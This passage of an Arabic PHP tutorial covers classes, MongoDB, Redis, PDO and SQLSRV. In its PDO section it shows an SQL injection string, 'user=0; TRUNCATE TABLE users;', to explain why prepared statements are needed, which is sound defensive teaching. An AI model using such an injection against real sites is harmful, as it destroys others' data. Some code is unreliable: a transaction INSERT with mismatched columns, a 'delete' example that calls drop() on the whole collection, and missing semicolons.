new. إذا كنت تحتاج للوراثة من هذا الصنف فقط غيّر الكلمات المفتاحية private إلى protected. لاستخدام هذا الكائن تكتب الشيفرة التالية: $singleton = Singleton::getInstance(); تعريف صنف أساسي يتألف الكائن في PHP من متغيرات ودوال، وتنتمي الكائنات إلى صنف يعرّف المتغيرات والدوال التي تحتويها كل كائنات هذا الصنف، صياغة تعريف الصنف هي كالتالي: class Shape { public $sides = 0; public function description() { return "A shape with $this->sides sides."; } } عندما يُعرَّف صنف يمكنك الاستنساخ منه بالشكل التالي: $myShape = new Shape(); يمكن الوصول لمتغيرات ودوال الكائن بالطريقة التالية: $myShape = new Shape(); $myShape->sides = 6; print $myShape->description(); // A shape with 6 sides الباني يمكن أن تعرّف الأصناف تابع باني خاص ‎__construct()‎ يُنفَّذ كجزء من إنشاء الكائن، ويستخدم عادةً لإعطاء القيم الابتدائية لكائن: class Shape { public $sides = 0; public function __construct($sides) { $this->sides = $sides; } public function description() { return "A shape with $this->sides sides."; } } $myShape = new Shape(6); print $myShape->description(); // A shape with 6 sides توسيع صنف آخر يمكن لتعريفات الصنف أن توسّع تعريفات صنف موجود وتضيف المزيد من المتغيرات والدوال وتعدّل في المتغيرات والدوال المعرفة في الصنف الأب، إليك صنف يوسّع الصنف في المثال السابق: class Square extends Shape { public $sideLength = 0; public function __construct($sideLength) { parent::__construct(4); $this->sideLength = $sideLength; } public function perimeter() { return $this->sides * $this->sideLength; } public function area() { return $this->sideLength * $this->sideLength; } } يتضمن الصنف Square متغيرات ودوال لكل من الصنفين Square وShape. $mySquare = new Square(10); print $mySquare->description()/ // A shape with 4 sides print $mySquare->perimeter() // 40 print $mySquare->area() // 100 الأصناف المجهولة قُدِّمت الأصناف المجهولة في الإصدار PHP 7 لتمكين إنشاء نسخة واحدة بسيطة من الصنف، ويمكن لها أن تأخذ وسائط الباني وتوسّع أصناف أخرى وتنفّذ واجهات وتستخدم السمات (traits) مثل الأصناف العادية تمامًا، والنموذج الأساسي لها كالتالي: new class("constructor argument") { public function __construct($param) { var_dump($param); } }; // string(20) "constructor argument" لا يوفر تداخل صنف مجهول ضمن صنف آخر إمكانية الوصول إلى التوابع أو الخاصيّات الخاصة أو المحمية للصنف الخارجي، يمكن الوصول إلى الخاصيات والتوابع المحمية للصنف الخارجي بتوسيعه من قِبل صنف مجهول ويمكن الوصول إلى الخاصيات والتوابع الخاصة للصنف الخارجي بتمريرها إلى باني الصنف المجهول. مثال: class Outer { private $prop = 1; protected $prop2 = 2; protected function func1() { return 3; } public function func2() { // الخاصة $this->prop التمرير عبر الخاصيّة return new class($this->prop) extends Outer { private $prop3; public function __construct($prop) { $this->prop3 = $prop; } public function func3() { // (1) return $this->prop2 + $this->func1() + $this->prop3; } }; } } echo (new Outer)->func2()->func3(); // 6 في الموضع (1) الوصول إلى الخاصيّة المحمية Outer::$prop2 والتابع المحمي Outer::func1()‎ والخاصية المحلية self::$prop3 الخاصة من Outer::$prop. ترجمة -وبتصرف- للفصل [Classes and Objects] من كتاب PHP Notes for Professionals book اقرأ أيضًا المقال التالي: السلسلة Serialization في PHP المقال السابق: صيغة JSON وXML في PHP
  3. كل شيء بين MongoDB و PHP المتطلبات خادم MongoDB يعمل على منفذ والذي هو 27017 عادةً. (اكتب mongod في موجه الأوامر لتشغيل خادم mongod) لغة php مثبّتة إما باستخدام cgi أو fpm مع إضافة MongoDB (إضافة MongoDB لا توجد مع php بشكلٍ افتراضي). مكتبة المُنشئ (Composer) (‏mongodb/mongodb). نفّذ التعليمة php composer.phar require "mongodb/mongodb=^1.0.0"‎ في المجلد الجذر للمشروع لتثبيت مكتبة MongoDB). إذا تأكدت من المتطلبات يمكنك بعدها الانتقال للخطوة التالية: التحقق من تثبيت php: نفّذ التعليمة php -v في موجه الأوامر إذا لم تكن متأكدًا من أنّها مثبّتة لديك وستُرجع مايشبه التالي: PHP 7.0.6 (cli) (built: Apr 28 2016 14:12:14) ( ZTS ) Copyright (c) 1997-2016 The PHP Group Zend Engine v3.0.0, Copyright (c) 1998-2016 Zend Technologies التحقق من تثبيت MongoDB: وذلك بتنفيذ التعليمة mongo --version والتي ستُرجع MongoDB shell version: 3.2.6. التحقق من تثبيت المُنشئ: وذلك بتنفيذ التعليمة php composer.phar --version التي ستُرجع Composer version 1.2-dev (3d09c17b489cd29a0c0b3b11e731987e7097797d) 2016-08-30 16:12:39. الاتصال من php إلى MongoDB <?php // ‫يجب أن يشير هذا المسار إلى المحمِّل التلقائي للمُنشئ من المكان حيث يجب أن تُحمَّل مكتبة MongoDB require 'vendor/autoload.php'; // استخدام اسم مستخدم وكلمة مرور مخصَّصَين try { $mongo = new MongoDB\Client('mongodb://username:password@localhost:27017'); print_r($mongo->listDatabases()); } catch (Exception $e) { echo $e->getMessage(); } // استخدام إعدادات افتراضية try { $mongo = new MongoDB\Client('mongodb://localhost:27017'); print_r($mongo->listDatabases()); } catch (Exception $e) { echo $e->getMessage(); } ستتصل الشيفرة السابقة باستخدام مكتبة المُنشئ MongoDB (‏mongodb/mongodb) المضمّنة بالشكل vendor/autoload.php للاتصال بخادم MongoDB? الذي يعمل على المنفذ 27017. ستتصل إذا كان كل شيء صحيحًا وتعرض قائمة مصفوفة أما إذا حدث استثناء بالاتصال إلى خادم MongoDB? ستُطبع رسالة. الإنشاء (الإضافة) في MongoDB يستخدم MongoDB المجموعة (collection) بدلًا من الجداول كما هو الحال في SQL. نستخدم في الشيفرة التالية الكائن ‎$mongo لاختيار قاعدة البيانات والمجموعة، إذا لم توجد قاعدة البيانات (demo في مثالنا) والمجموعة (beers في مثالنا) سينشئهما MongoDB تلقائيًا. ونستخدم ‎$collection لإضافة ملف في MongoDB، يشبه الملف السطر في SQL، وكل ملف مُنشئ له معرِّف فريد. <?php $collection = $mongo->demo->beers; $result = $collection->insertOne( [ 'name' => 'Hinterland', 'brewery' => 'BrewDog' ] ); echo "Inserted with Object ID '{$result->getInsertedId()}'"; استخدمنا في المثال الكائن ‎$mongo المستخدم سابقًا في شيفرة الاتصال من php إلى MongoDB، يستخدم MongoDB نوع تنسيق البيانات JSON لذا سنستخدم في php المصفوفة لإضافة بيانات إلى MongoDB، ستحوّل مكتبة mongo من المصفوفة إلى JSON وبالعكس، لكل ملف في MongoDB معرّف خاص به يمكننا الحصول عليه عند الإضافة باستخدام الشيفرة: $result->getInsertedId(); القراءة (البحث) في MongoDB نستخدم التابع find()‎ للاستعلام عن السجلات، ويكون المعامل مصفوفة تتضمن زوج قيمة مفتاح نريد إيجاده، تُرجَع النتيجة على شكل مصفوفة ونستخدم foreach لفلترة المفاتيح المطلوبة. $result = $collection->find( [ 'name' => 'Hinterland', 'brewery' => 'BrewDog' ] ); foreach ($result as $entry) { echo $entry['_id'], ': ', $entry['name'], "\n"; } ?> مثال آخر للبحث عن عدة مستخدمين اسمهم "Mike": $filter = ['name' => 'Mike']; $query = new \MongoDB\Driver\Query($filter); $cursor = $manager->executeQuery('database_name.collection_name', $query); foreach ($cursor as $doc) { var_dump($doc); } ونستخدم التابع findOne()‎ للحصول على ملف واحد، مثال للبحث عن مستخدم واحد فقط له معرِّف محدد: $options = ['limit' => 1]; $filter = ['_id' => new \MongoDB\BSON\ObjectID('578ff7c3648c940e008b457a')]; $query = new \MongoDB\Driver\Query($filter, $options); $cursor = $manager->executeQuery('database_name.collection_name', $query); $cursorArray = $cursor->toArray(); if(isset($cursorArray[0])) { var_dump($cursorArray[0]); } الحذف في MongoDB تعيد الشيفرة التالية 1 في حال تم الحذف بنجاح وتعيد 0 في حال الفشل. <?php $result = $collection->drop( [ 'name' => 'Hinterland'] ); print_r($result->ok); ?> يمكنك الاطلاع في التوثيق الرسمي من MongoDB على العديد من التوابع التي يمكن تطبيقها على ‎$collection. الاتصال مع MongoDB وإجراء العمليات إنشاء اتصال MongoDB يمكنك استخدامه للاستعلام منه لاحقًا: $manager = new \MongoDB\Driver\Manager('mongodb://localhost:27017'); ستتعلم في المثال التالي كيفية الاستعلام باستخدام كائن الاتصال، تُغلق هذه الإضافة الاتصال بشكلٍ تلقائي لذا ليس من الضروري إغلاقه يدويًا. إضافة ملف مثال لإضافة ملف: $document = [ 'name' => 'John', 'active' => true, 'info' => ['genre' => 'male', 'age' => 30] ]; $bulk = new \MongoDB\Driver\BulkWrite; $_id1 = $bulk->insert($document); $result = $manager->executeBulkWrite('database_name.collection_name', $bulk); تحديث ملف مثال لتحديث كل الملفات التي اسمها "John": $filter = ['name' => 'John']; $document = ['name' => 'Mike']; $bulk = new \MongoDB\Driver\BulkWrite; $bulk->update( $filter, $document, ['multi' => true] ); $result = $manager->executeBulkWrite('database_name.collection_name', $bulk); حذف ملف مثال لحذف كل الملفات التي اسمها "Peter": $bulk = new \MongoDB\Driver\BulkWrite; $filter = ['name' => 'Peter']; $bulk->delete($filter); $result = $manager->executeBulkWrite('database_name.collection_name', $bulk); استخدام Redis مع PHP الاتصال إلى كائن Redis بفرض أنّ الخادم الافتراضي يعمل على المضيف المحلي مع المنفذ الافتراضي?، عندها يكون أمر الاتصال إلى خادم Redis هذا: $redis = new Redis(); $redis->connect('127.0.0.1', 6379); تثبيت PHP Redis على نظام التشغيل أبونتو نثبّت أولًا خادم Redis: sudo apt install redis-server ثم نثبّت وحدة PHP: sudo apt install php-redis ثم نعيد تشغيل خادم Apache: sudo service apache2 restart تنفيذ أوامر Redis في PHP توفر وحدة Redis PHP الوصول إلى نفس الأوامر كعميل Redis CLI لذا يمكن استخدامها بشكلٍ مباشر.܏ الصياغة كالتالي: // إنشاء مفتاحين جديدين $redis->set('mykey-1', 123); $redis->set('mykey-2', 'abcd'); // الحصول على مفتاح واحد // 123 ‬// ‫الحصول على كل المفاتيح التي بدايتها 'my-key-‎‎' var_dump($redis->keys('mykey-*')); // '123', 'abcd' الإضافة PDO في PHP تسمح الإضافة PDO للمطورين بالاتصال بأنواع مختلفة كثيرة من قواعد البيانات وتنفيذ استعلامات مختلفة عليها بطريقة موحدة كائنية التوجه. منع حقن SQL باستخدام استعلامات ذات وسائط حقن SQL هو هجوم يسمح لمستخدم ضار بتعديل استعلام SQL بإضافة أوامر غير مرغوب بها إلى الاستعلام، مثلًا الاستعلام التالي معرَّض للخطر: $sql = 'SELECT name, email, user_level FROM users WHERE userID = ' . $_GET['user']; $conn->query($sql); تسمح هذه الشيفرة لأي مستخدم بالتعديل في قاعدة البيانات بشكلٍ أساسي كما يرغب، مثلًا بفرض لدينا سلسلة الاستعلام التالية: page.php?user=0;%20TRUNCATE%20TABLE%20users; تجعل هذه السلسلة الاستعلام يكون بالشكل: SELECT name, email, user_level FROM users WHERE userID = 0; TRUNCATE TABLE users; يعدّ هذا المثال مبالغًا فيه (معظم هجمات حقن SQL لا تهدف إلى حذف البيانات ولا تدعم معظم دوال تنفيذ استعلام PHP الاستعلام المتعدد)، هذا مثال على إمكانية جعل هجوم حقن SQL ممكنًا من خلال التجميع غير المتقن للاستعلام، لسوء الحظ فإنَّ مثل هذه الهجمات شائع جدًا وفعال بشكلٍ كبير بسبب المبرمجين الذين يفشلون في اتخاذ الاحتياطات المناسبة لحماية بياناتهم. الحل المناسب لمنع حدوث حقن SQL هو تعليمات التحضير (prepared statements)، فنستخدم عنصرًا بديلًا (placeholder) بدلًا من دمج بيانات المستخدم بشكلٍ مباشر مع الاستعلام، ثم تُرسَل البيانات بشكلٍ منفصل وبالتالي لا توجد فرصة لمحرك SQL أن يحتار بخصوص بيانات المستخدم. ولاحظ أنّ إضافة PHP MySQLi تدعم أيضًا تعليمات التحضير. تدعم PDO نوعين من العناصر البديلة (لا يمكن استخدام العناصر البديلة لتسمية الأعمدة أو الجداول وإنما فقط للقيم): 1- العناصر البديلة المسماة، نقطتان (:) يتبعهما اسم واضح مثل (‎:user). // استخدام العناصر البديلة المسماة $sql = 'SELECT name, email, user_level FROM users WHERE userID = :user'; $prep = $conn->prepare($sql); // مصفوفة ترابطية $prep->execute(['user' => $_GET['user']]); $result = $prep->fetchAll(); 2- العناصر البديلة الموضعية التقليدية في SQL تُمثَّل بالعلامة ?. // استخدام العناصر البديلة الممثَّلة بعلامة الاستفهام $sql = 'SELECT name, user_level FROM users WHERE userID = ? AND user_level = ?'; $prep = $conn->prepare($sql); // مصفوفة مفهرسة $prep->execute([$_GET['user'], $_GET['user_level']]); $result = $prep->fetchAll(); يجب أن تعلم أنّه إذا احتجت إلى تغيير اسم عمود أو جدول بشكلٍ ديناميكي فإنّ هذه ممارسة سيئة وعلى مسؤوليتك الأمنية الخاصة، مع أنّه يمكنك القيام بذلك عن طريق دمج السلاسل النصية. إحدى الطرق لتحسين أمان مثل هذه الاستعلامات هي تعيين جدول فيه القيم المسموح بها ومقارنة القيمة التي تريدها للدمج مع هذا الجدول. يجب أن تعلم أنّه من المهم ضبط ترميز محارف الاتصال ليكون DSN (‏Data Source Name) فقط، وإلا قد يكون تطبيقك معرّضًا لثغرة ضعيفة. إنّ ضبط ترميز المحارف ليكون DSN غير متاح في الإصدارات PDO السابقة للإصدار 5.3.6 لذا فالخيار الوحيد هو ضبط سمة الاتصال PDO::ATTR_EMULATE_PREPARES لتكون false مباشرةً بعد إنشائه. $conn->setAttribute(PDO::ATTR_EMULATE_PREPARES, false); ستؤدي هذه الشيفرة إلى استخدام PDO لتعليمات التحضير الأساسية الموجودة في DBMS (‏Database Management Systems) بدلًا من محاكاتها فقط، وانتبه إلى أنّ PDO ستتراجع ببطء لمحاكاة التعليمات التي لا تستطيع MySQL تحضيرها محليًّا، هذه العبارات موجودة في التوثيق. اتصال PDO الأساسي والاسترجاع بدءًا من الإصدار PHP 5.0 أصبحت PDO متاحة كطبقة وصول إلى قاعدة البيانات، وهي لا تعرف قاعدة البيانات، ستعمل الشيفرة في مثال الاتصال التالي لأي من قواعد البيانات المدعومة ببساطة عن طريق تغيير الترميز DSN. // (1) $dsn = "mysql:host=localhost;dbname=testdb;charset=utf8"; // (2) $username = "user"; $password = "pass"; $db = new PDO($dsn, $username, $password); // ‫ضبط PDO لرمي استثناء إذا أُدخِل استعلام غير صحيح $db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); // تحضير تعليمة التنفيذ مع عنصر بديل مفرد $query = "SELECT * FROM users WHERE class = ?"; $statement = $db->prepare($query); // إنشاء بعض المعاملات لملء العناصر البديلة وتنفيذ التعليمة $parameters = [ "221B" ]; $statement->execute($parameters); // التكرار على كل سجل كمصفوفة ترابطية while ($row = $statement->fetch(PDO::FETCH_ASSOC)) { do_stuff($row); } ننشئ في الموضع (1) مقبضًا لقاعدة البيانات ونستخدم MySQL (اتصال باستخدام مقبس محلي) يوضّح الموضع (2) أنّه يمكنك استخدام MySQL (اتصال عبر الشبكة، يمكنك تحديد المنفذ أيضًا إذا أردت) باستخدام الشيفرة: $dsn = "mysql:host=127.0.0.1;port=3306;dbname=testdb;charset=utf8"; أو استخدام Postgres: $dsn = "pgsql:host=localhost;port=5432;dbname=testdb;"; أو حتى SQLite: $dsn = "sqlite:/path/to/database" تنشئ الدالة prepare كائنًا من الصنف PDOStatement من سلسلة الاستعلام، تجري عمليات تنفيذ الاستعلام واسترجاع النتائج على هذا الكائن المُرجَع. في حال الفشل إما تعيد الدالة false أو ترمي استثناءً (بالاعتماد على كيفية ضبط إعدادات اتصال PDO). عمليات قاعدة البيانات مع PDO تضمن عمليات (transactions) قاعدة البيانات أنَّ مجموعة التغييرات على قاعدة البيانات ستصبح دائمة فقط إذا نجحت كل التعليمات، يمكن التقاط أي فشل في الاستعلام أو الشيفرة خلال عملية ما ثم يكون لديك خيار التراجع (roll back) عن التغييرات التي حاولت القيام بها. توفر PDO توابع بسيطة لعمليات البدء وحفظ التغييرات (committing) والتراجع. $pdo = new PDO( $dsn, $username, $password, array(PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION) ); try { $statement = $pdo->prepare("UPDATE user SET name = :name"); $pdo->beginTransaction(); $statement->execute(["name"=>'Bob']); $statement->execute(["name"=>'Joe']); $pdo->commit(); } catch (\Exception $e) { if ($pdo->inTransaction()) { $pdo->rollback(); // إذا وصلنا إلى هنا فإنَّ التحديثين ليسا في قاعدة البيانات } throw $e; } تكون أي تغييرات تُجرى على البيانات خلال العملية مرئية للاتصال النشط، ستُرجع تعليمات SELECT التغييرات المُعدَّلة حتى لو لم تُحفظ في قاعدة البيانات بعد. مثال عملي لاستخدام العمليات مع PDO نعرض لك في الفقرة التالية مثال عملي من العالم الحقيقي حيث يضمن استخدام العمليات اتساق قاعدة البيانات. تخيل بأنّك تبني عربة تسوق لموقع تجارة الكترونية وقررت أن تحتفظ بطلبات العملاء في جدولين من قاعدة البيانات، اسم الجدول الأول orders يعبر عن الطلبات وحقوله هي order_id، ‏name، ‏address، ‏telephone و‏created_at، واسم الجدول الثاني orders_products يحوي منتجات الطلبات وحقوله هي order_id،‏product_id وquantity، أي يحتوي الجدول الأول على بيانات وصفية للطلب والجدول الثاني على المنتجات الفعلية التي طلبها العملاء. إضافة طلب جديد إلى قاعدة البيانات تحتاج لإضافة طلب جديد إلى قاعدة البيانات إلى أمرين، الأول هو إنشاء سجل جديد (INSERT) في الجدول orders يحتوي على البيانات الوصفية للطلب (الاسم والعنوان وغير ذلك)، والثاني هو إنشاء سجل جديد في الجدول orders_products لكل منتج من المنتجات الموجودة في قائمة الطلب. يمكنك القيام بذلك باستخدام الشيفرة التالية: // إضافة البيانات الوصفية للطلب في قاعدة البيانات $preparedStatement = $db->prepare( 'INSERT INTO `orders` (`name`, `address`, `telephone`, `created_at`) VALUES (:name, :address, :telephone, :created_at)' ); $preparedStatement->execute([ 'name' => $name, 'address' => $address, 'telephone' => $telephone, 'created_at' => time(), ]); // ‫الحصول على `order_id` المولَّد $orderId = $db->lastInsertId(); // بناء استعلام لإضافة منتجات الطلب $insertProductsQuery = 'INSERT INTO `orders_products` (`order_id`, `product_id`, `quantity`) VALUES'; $count = 0; foreach ( $products as $productId => $quantity ) { $insertProductsQuery .= ' (:order_id' . $count . ', :product_id' . $count . ', :quantity' . $count . ')'; $insertProductsParams['order_id' . $count] = $orderId; $insertProductsParams['product_id' . $count] = $productId; $insertProductsParams['quantity' . $count] = $quantity; ++$count; } // إضافة المنتجات المُضمَّنة في الطلب إلى قاعدة البيانات $preparedStatement = $db->prepare($insertProductsQuery); $preparedStatement->execute($insertProductsParams); ستعمل هذه الشيفرة بشكلٍ رائع على إضافة طلب جديد إلى قاعدة البيانات حتى يحدث شيء ما غير متوقع ولسببٍ ما يفشل استعلام INSERT الثاني وعندها سيكون لديك طلب جديد في الجدول orders بدون وجود منتجات مرتبطة فيه من الجدول orders_products. لحسن الحظ يمكن إصلاح هذا ببساطة بجعل الاستعلامين في عملية قاعدة بيانات واحدة. إضافة طلب جديد إلى قاعدة البيانات مع عملية كل ماعليك فعله لبدء عملية باستخدام PDO هو استدعاء التابع beginTransaction قبل تنفيذ أي استعلامات على قاعدة البيانات، ثم تجري التغييرات التي تريدها بتنفيذ استعلامات INSERT و/أو UPDATE وفي النهاية تستدعي التابع commit للكائن لجعل التغييرات دائمة، قبل استدعاء التابع commit فإنّ كل التغييرات التي تجريها على بياناتك غير دائمة ويمكن التراجع عنها بسهولة باستدعاء التابع rollback للكائن PDO. نوضح في المثال التالي استخدام العمليات لإضافة طلب جديد في قاعدة البيانات مع ضمان اتساق البيانات في نفس الوقت، ستُرجع جميع التغييرات إذا فشل أحد الاستعلامين، نستخدم في هذا المثال MySQL لكن يمكن تطبيقه على أي قاعدة بيانات تدعم العمليات. $db = new PDO('mysql:host=' . $host . ';dbname=' . $dbname . ';charset=utf8', $username,$password); // ‫تأكد من أنّ PDO سترمي استثناءً في حالة الخطأ لجعل عملية معالجة الخطأ أسهل $db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); try { // بدءًا من هذه النقطة وحتى تُحفظ العملية يمكن التراجع عن كل تغيير في قاعدة البيانات $db->beginTransaction(); // إضافة البيانات الوصفية للطلب في قاعدة البيانات $preparedStatement = $db->prepare( 'INSERT INTO `orders` (`order_id`, `name`, `address`, `created_at`) VALUES (:name, :address, :telephone, :created_at)' ); $preparedStatement->execute([ 'name' => $name, 'address' => $address, 'telephone' => $telephone, 'created_at' => time(), ]); // ‫الحصول على `order_id` المولَّد $orderId = $db->lastInsertId(); // بناء الاستعلام لإضافة منتجات الطلب $insertProductsQuery = 'INSERT INTO `orders_products` (`order_id`, `product_id`, `quantity`) VALUES'; $count = 0; foreach ( $products as $productId => $quantity ) { $insertProductsQuery .= ' (:order_id' . $count . ', :product_id' . $count . ', :quantity' . $count . ')'; $insertProductsParams['order_id' . $count] = $orderId; $insertProductsParams['product_id' . $count] = $productId; $insertProductsParams['quantity' . $count] = $quantity; ++$count; } // إضافة منتجات الطلب إلى قاعدة البيانات $preparedStatement = $db->prepare($insertProductsQuery); $preparedStatement->execute($insertProductsParams); // جعل تغييرات قاعدة البيانات دائمة $db->commit(); } catch ( PDOException $e ) { // فشل إضافة الطلب في قاعدة البيانات لذا نتراجع عن التغييرات $db->rollback(); throw $e; } الاتصال بخادم MySQL/MariaDB باستخدام PDO يوجد طريقتين للاتصال بخادم MySQL/MariaDB وفقًا للبنية التحتية. الاتصال (TCP/IP) المعياري $dsn = 'mysql:dbname=demo;host=server;port=3306;charset=utf8'; $connection = new \PDO($dsn, $username, $password); // ‫رمي استثناءات عند حدوث خطأ SQL $connection->setAttribute(\PDO::ATTR_ERRMODE, \PDO::ERRMODE_EXCEPTION); // منع محاكاة تعليمات التحضير $connection->setAttribute(\PDO::ATTR_EMULATE_PREPARES, false); يجب أن تعطّل المحاكاة بشكلٍ واضح لأنّ PDO صممت لتكون متكاملة مع إصدارات خادم MySQL الأقدم (التي لا تدعم تعليمات التحضير)، وإلا ستخسر فوائد منع الحقن (injection prevention) المضافة التي يوفرها عادةً استخدام تعليمات التحضير. سلوك معالجة الخطأ الافتراضي هو حل وسط آخر، إذا لم يُعَدّ فلن تظهر PDO أي مؤشرات إلى أخطاء SQL، يُنصح بضبطه إلى الإعداد "exception mode" (نمط الاستثناء) لأنّه يمنحك وظائف إضافية عند كتابة تعابير ثبات مجردة (مثلًا عندما يكون لديك استثناء عند انتهاك القيد UNIQUE). اتصال المقبس $dsn = 'mysql:unix_socket=/tmp/mysql.sock;dbname=demo;charset=utf8'; $connection = new \PDO($dsn, $username, $password); // ‫رمي استثناءات عند حدوث خطأ SQL $connection->setAttribute(\PDO::ATTR_ERRMODE, \PDO::ERRMODE_EXCEPTION); // منع محاكاة تعليمات التحضير $connection->setAttribute(\PDO::ATTR_EMULATE_PREPARES, false); في الأنظمة مثل unix إذا كان اسم المضيف 'localhost' يتم الاتصال بالخادم عبر مقبس المجال (domain socket). الحصول على عدد الأسطر المتأثرة بالاستعلام باستخدام PDO نبدأ بالمتغير ‎$db والذي هو نسخة من الصنف PDO. نريد غالبًا بعد تنفيذ الاستعلام أن نحدد عدد الأسطر المتأثرة بهذا الاستعلام عندها نستخدم التابع rowCount()‎ من الصنف PDOStatement. $query = $db->query("DELETE FROM table WHERE name = 'John'"); $count = $query->rowCount(); echo "Deleted $count rows named John"; ملاحظة: يُستخدم هذا التابع لتحديد عدد الأسطر المتأثرة بتعليمات INSERT وDELETE وUPDATE فقط، بالرغم من أنّ هذا التابع قد يعمل بشكلٍ صحيح مع تعليمات SELECT أيضًا إلا أنّه غير متسق مع جميع قواعد البيانات. PDO::lastInsertId()‎ يمكنك الحصول على قيمة المعرِّف (ID) المتزايدة تلقائيًا للسطر الذي أضفته إلى جدول قاعدة البيانات باستخدام التابع lastInsertId()‎. // ‫فتح اتصال أساسي (MySQL) $host = 'localhost'; $database = 'foo'; $user = 'root' $password = ''; $dsn = "mysql:host=$host;dbname=$database;charset=utf8"; $pdo = new PDO($dsn, $user, $password); // ‫إضافة سطر جديد في الجدول الافتراضي 'foo_user' $query = "INSERT INTO foo_user(pseudo, email) VALUES ('anonymous', 'anonymous@example.com')"; $query_success = $pdo->query($query); // استعادة المعرِّف للسطر الأخير المدخل $id = $pdo->lastInsertId(); // القيمة المعادة هي عدد صحيح لدينا الكلمة المفتاحية RETURNING في قواعد البيانات postgresql وoracle والتي تُرجع الأعمدة المحددة للأسطر المُدخلة/المعدّلة حاليًا. إليك مثال لإضافة سطر جديد واحد: // ‫‫فتح اتصال أساسي (PGSQL) $host = 'localhost'; $database = 'foo'; $user = 'root' $password = ''; $dsn = "pgsql:host=$host;dbname=$database;charset=utf8"; $pdo = new PDO($dsn, $user, $password); // ‫إضافة سطر جديد في الجدول الافتراضي 'foo_user' $query = "INSERT INTO foo_user(pseudo, email) VALUES ('anonymous', 'anonymous@example.com') RETURNING id"; $statement = $pdo->query($query); // استعادة المعرِّف للسطر الأخير المدخل $id = $statement->fetchColumn(); استخدام الإضافة SQLSRV في PHP استعادة رسائل الخطأ من المهم جلب رسالة (أو رسائل) الخطأ المُرجعة من قِبل المُشغّل عند حدوث خطأ ما وذلك لمعرفة سبب المشكلة، الصيغة هي: sqlsrv_errors([int $errorsOrWarnings]); تُرجع هذه الشيفرة مصفوفة مع مفتاح ووصف. table { width: 100%; } thead { vertical-align: middle; text-align: center; } td, th { border: 1px solid #dddddd; text-align: right; padding: 8px; text-align: inherit; } tr:nth-child(even) { background-color: #dddddd; } المفتاح الوصف SQLSTATE ‫ حالة خادم SQL/ مشغّل OBDC الشيفرة SQL Server شيفرة خطأ الرسالة وصف الخطأ من الشائع استخدام الدالة السابقة كالتالي: $brokenQuery = "SELECT BadColumnName FROM Table_1"; $stmt = sqlsrv_query($conn, $brokenQuery); if ($stmt === false) { if (($errors = sqlsrv_errors()) != null) { foreach ($errors as $error) { echo "SQLSTATE: ".$error['SQLSTATE']."<br />"; echo "code: ".$error['code']."<br />"; echo "message: ".$error['message']."<br />"; } } } جلب نتائج الاستعلام يوجد 3 طرق أساسية لجلب النتائج من استعلام: sqlsrv_fetch_array()‎ تعيد هذه الدالة السطر التالي كمصفوفة. $stmt = sqlsrv_query($conn, $query); while($row = sqlsrv_fetch_array($stmt)) { echo $row[0]; $var = $row["name"]; //... } لهذه الدالة معامل ثاني اختياري لجلب أنواع مختلفة من المصفوفات، يمكن أن يكون SQLSRV_FETCH_ASSOC أو SQLSRV_FETCH_NUMERIC أو SQLSRV_FETCH_BOTH (القيمة الافتراضية) ويعيد مصفوفة ترابطية، عددية، أو مصفوفة ترابطية وعددية على الترتيب. sqlsrv_fetch_object()‎ تعيد هذه الدالة السطر التالي ككائن. $stmt = sqlsrv_query($conn, $query); while($obj = sqlsrv_fetch_object($stmt)) { // أسماء خاصيات الكائن هي أسماء حقول الاستعلام echo $obj->field; //... } sqlsrv_fetch()‎ تجعل هذه الدالة السطر التالي متاحًا للقراءة. $stmt = sqlsrv_query($conn, $query); while(sqlsrv_fetch($stmt) === true) { // الحصول على الحقل الأول $foo = sqlsrv_get_field($stmt, 0); } إنشاء اتصال // ‫اسم الخادم/النسخة، متضمنًا رقم منفذ اختياري (الافتراضي 1433) $dbServer = "localhost,1234"; // اسم قاعدة البيانات $dbName = "db001"; // اسم المستخدم $dbUser = "user"; // كلمة مرور قاعدة البيانات لهذا المستخدم $dbPassword = "password"; $connectionInfo = array( "Database" => $dbName, "UID" => $dbUser, "PWD" => $dbPassword ); $conn = sqlsrv_connect($dbServer, $connectionInfo); للإضافة SQLSRV أيضًا مشغّل PDO. للاتصال باستخدام PDO: $conn = new PDO("sqlsrv:Server=localhost,1234;Database=db001", $dbUser, $dbPassword); كتابة استعلام بسيط // إنشاء اتصال $conn = sqlsrv_connect($dbServer, $connectionInfo); $query = "SELECT * FROM [table]"; $stmt = sqlsrv_query($conn, $query); ملاحظة: نستخدم الأقواس المربعة [] للهرب من الكلمة المحجوزة ‏table، وتعمل نفس عمل علامة الاقتباس المائلة ` في MySQL. استدعاء إجراء مخزن (Stored Procedure) لاستدعاء إجراء مخزن على الخادم: // المعاملات '?' تتضمن معاملات خرج $query = "{call [dbo].[myStoredProcedure](?,?,?)}"; $params = array( array($name, SQLSRV_PARAM_IN), array($age, SQLSRV_PARAM_IN), // ‏يجب أن يكون المتغير ‎$count معرّف مسبقًا array($count, SQLSRV_PARAM_OUT, SQLSRV_PHPTYPE_INT) ); $result = sqlsrv_query($conn, $query, $params); كتابة استعلام ذو معاملات $conn = sqlsrv_connect($dbServer, $connectionInfo); $query = "SELECT * FROM [users] WHERE [name] = ? AND [password] = ?"; $params = array("joebloggs", "pa55w0rd"); $stmt = sqlsrv_query($conn, $query, $params); إذا كنت تخطط لاستخدام نفس تعليمة الاستعلام أكثر من مرة مع معاملات مختلفة فيمكنك تحقيق ذلك باستخدام الدوال sqlsrv_prepare()‎ وsqlsrv_execute()‎ كما في الشيفرة التالية: $cart = array( "apple" => 3, "banana" => 1, "chocolate" => 2 ); $query = "INSERT INTO [order_items]([item], [quantity]) VALUES(?,?)"; // المتغيرات هي معاملات يجب تمريرها بالمرجع $params = array(&$item, &$qty); $stmt = sqlsrv_prepare($conn, $query, $params); foreach($cart as $item => $qty){ if(sqlsrv_execute($stmt) === FALSE) { die(print_r(sqlsrv_errors(), true)); } } ترجمة -وبتصرف- للفصول [PDO - Using MongoDB - mongo-php - Using Redis with PHP - Using SQLSRV] من كتاب PHP Notes for Professionals book اقرأ أيضًا المقال التالي: كيفية إرسال بريد إلكتروني في PHP المقال السابق: إضافة PHP MySQLi ونظام إدارة قواعد البيانات SQLite3
